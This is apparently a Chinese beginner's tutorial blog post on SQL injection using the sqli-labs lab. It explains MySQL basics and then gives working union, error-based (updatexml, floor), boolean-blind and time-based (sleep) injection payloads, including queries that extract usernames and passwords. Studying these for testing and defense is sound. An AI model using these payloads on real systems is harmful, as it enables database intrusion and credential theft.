从0开始的sql注入笔记

前言

整理只为前期sql注入的学习,部分材料从其他文章转载,还在修改,有不足或缺漏请指正

一、环境搭建

1.sql-labs源码下载地址
2.运行环境推荐使用PHP study对小白较为友好
3.解压后的sql-labs文件重命名改密码后丢入环境
4.php版本过高易出现报错以及对部分注释符进行保护

二、数据库基础(MySQL)

1.什么是库,表,行,列

库:database,在数据库里面的数据的集合
表:table 隶属于某个库,在数据库里面以表格形式存在
列:column 表中列式的内容
行:row 表中行式的内容
值:value 在表格中的值
键:key 特殊值

2.基础操作

1.外部操作
create database a; 创建库a
use a; 使用库a
show databases; 查看当前所有的库
use abc; 进入abc的库
show tables; 查看abc库里面的表
desc users; 查看users表的表头信息
2.对数据操作
select 查询数据
insert 用于添加数据
update 用于修改数据
delete 用于删除数据

3.information_schema

在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称和访问权限。在informa_schema中常用的表有:
schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。
tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。
show tables from secuiry的结果就是来自这个表
columns:详细地描述了某张表的所有的列以及每个列的信息。
show columns from users的结果就是来自这个表
下面就是利用以上的3个表来获取数据库的信息。

select database(); 查选数据库
 select schema_name from information_schema.schemata limit 0,1; 查询数据库
select table_name from information_schema.tables where     table_schema=database() limit 0,1; 查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; 查询列
-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),3
// 查询出当前的表
-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),3
//查询出当前所有列名
-1 union select 1,(select username from tabb where id=1),(select password from tabb where id=1)
// 知晓列名和表名,就可以轻松查出所有的内容

3.注释语句
(1)–:表示单行注释

(2)//:用于多行(块)注释
4.union 操作符

用于合并两个或多个select 语句的结果集。
union 内部的 select 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 select 语句中的列的顺序必须相同。

二、常用函数

group_concat()

group_concat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

   SELECT column_name(s) FROM table_name1
    UNION
    SELECT column_name(s) FROM table_name2
select group_concat(username) from users;
解释:返回的就是users表中所有的用户名,并且是作为一条记录返回。

order by

用于根据指定的列对结果集进行排序。

ORDE默认按照升序对记录进行排序。

如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。

实例:以(逆)字母顺序显示公司名称

SELECT Company, OrderNumber FROM Orders ORDER BY Company (DESC

group by

语句用于结合合计函数,根据一个或多个列对结果集进行分组。

SELECT column_name, aggregate_function(column_name) 
    FROM table_name 
    WHERE column_name operator value 
    GROUP BY column_name

if()

语法:IF(expr1,expr2,expr3)

其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。

例如:

    select

    if(il.status_id = 'INV_STTS_AVAILABLE','全新','二手') as status_id

    from inventory_location as il;

sleep()

执行select sleep(N)可以让此语句运行N秒钟

left()

left(str,len)

返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。

SELECT LEFT('foobarbar', 5);

count()

COUNT(column_name) 语法

COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入):

SELECT COUNT(column_name) FROM table_name

SQL COUNT(*) 语法

COUNT(*) 函数返回表中的记录数:

 SELECT COUNT(*) FROM table_name

SQL COUNT(DISTINCT column_name) 语法

COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:

 SELECT COUNT(DISTINCT column_name) FROM table_name

注释:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。

floor()

floor() - 返回最大整数,使这个整数小于或等于指定数的数值运算。

length()

返回字符串的长度,以字节为单位

LENGTH(string)

四、SQL注入

1.联合查询注入

SELECT col1 .. FROM table [WHERE [条件1],..] UNION SELECT col1 .. FROM table [WHERE [条件1],..];

1.判断交互方式 get/post

    get 提交 提交的数据在url中显示
    post 提交 没有在url中显示(这时需要打开浏览器的代理功能,进行进一步操作)

2.猜测数据库执行语句

3.判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”)

整型:

  快速判断闭合方式 and 1=1 和and 1=2                //当为整型时,会出现不同的输出,1=1时正确输出,1=2时错误的输出。

其他:

  当测试整型失败时,则需要猜测,常见的闭合方式有:‘ ’、“ ”,(),(‘ ’),(“ ”)等等。

4.构造语句打破闭合

测试成功后,由于我们需要添加联合语句,来查询我们想要的信息,所以需要打破闭合。一般可以通过添加和注释两种方法来打破。

例如:

id = 1 ’ 如果是‘闭合的话输入这个语句会显示语法错误,然后我们可以用–+来把还没有闭合的后一个’注释掉从而让语法正确id=1’ --+。 (当数据进行交互时,浏览器会进行转码,所以这里的–+就是转码后的注释的意思。)

进一步完善 id= 1’ and 1=1 --+ //查看有没有回显错误,如果没有则确认闭合方式

5.构造联合查询判断输出位

通过order by 判断列数 ,建议使用二分法      //先判断列数

select 1,2,3....                                                 //有多少列,这里就为几个数字,通过这个就可以判断浏览器页面回显的为哪一列或者几列;最后使用SQL语句来替换这里的回显数字,就可以进行数据的查询。

利用group_concat() 函数把列转换为行输出group_concat(xxx)

数字型注入:

形如“http://?ID=55”,这类注入的参数是“数字”,因此称为“数字型注入点”。
此类注入点提交的SQL语句,其原形大致为:Select * from 表名 where 字段=55
当我们提交注入参数为“http://
?ID=55 And[查询条件]”时,向数据库提交的完整 SQL 语句为:
Select * from 表名 where 字段=55 And [查询条件]

字符型注入:
形如“http://****?Class=日期”这类注入的参数是“字符”,因此称为“字符型”注入点。
此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段=‘日期’
当我们提交注入参数为“http://****Class=日期 And[查询条件]时,向数据库提交的完整 SQL 语句为”:
select * from 表名 where 字段=‘日期’ and [查询条件]
3,搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示的链接地址,而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段 like ‘%关键字%’
当我们提交注入参数为“keyword=‘and[查询条件] and ‘%’=’,则向数据库提交的完事SQL语句为:
select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’=’%’

字符型除了单引号’之外,还有",’)等等方式

‘%$id%’

搜索型注入:

id=1%' union select 1,2,3#

基于floor的报错注入:

1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

2.报错注入

当无法判断或无回显点时.常试SQL语句是否报错.若存在语句报错则可以利用报销信息带出数据
updatexml函数
三个参数,XML_document参数表示目标XML文档(例如doc), XPath_string参数表示路径,new_value替换查找的数据。updatexml函数报错注入的原理和extractvalue函数是相通的。

确定当前网站是字符串注入类型,且闭合方式为")(双引号加括号)的方式:

接下来通过updatexml函数进行报错注入,使用concat函数对查询的目标与0x7e进行拼接,从而导致updatexml报错,那么构造sql语句如下:

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

数据库执行SQL语句返回的结果后
获取用户名和密码,构造sql语句:

?id=1") and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,’:’,password),1,30) from users)),3) --+

页面的显示位置每次只能显示32个字符,无法完全显示全部,可以通过substring函数把之后所有的内容显示出来,例如substring(str,1,30)表示从第1个字符显示30个字符。

3.布尔型盲注

基于boolean的盲注
不管输入什么,结果都只返回真或假两种情况;
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否

Boolean型盲注的判断方式有
通过长度判断 length()

select length(database())>=x

通过字符判断:substr()

select substr(database(),1,1) =‘s’

通过ascII码判断: ascii()

select ascii(substr(database(),1,1)) =x

4.时间型盲注

页面不返回信息
通过时间回显的延迟作为判断。
利用sleep()或benchmark()函数延长mysql的执行时间;
与if()搭配使用

payload:if(expr1,expr2,expr3)

对expr1进行布尔判断,如果为真,则执行expr2,如果为假,则执行expr3
常用payload:
if(length(database())>1,sleep(5),1)
如果数据库名字符长度大于1为真,则mysql休眠5秒,否则查询1

盲注常用函数
left(m,n) --从左向右截取字符串m返回其前n位
substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
ascii(m) --返回字符m的ASCII码
if(str1,str2,str3)–如果str1正确就执行str2,否则执行str3
sleep(m)–使程序暂停m秒
length(m) --返回字符串m的长度
count(column_name) --返回指定列的值的数目

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值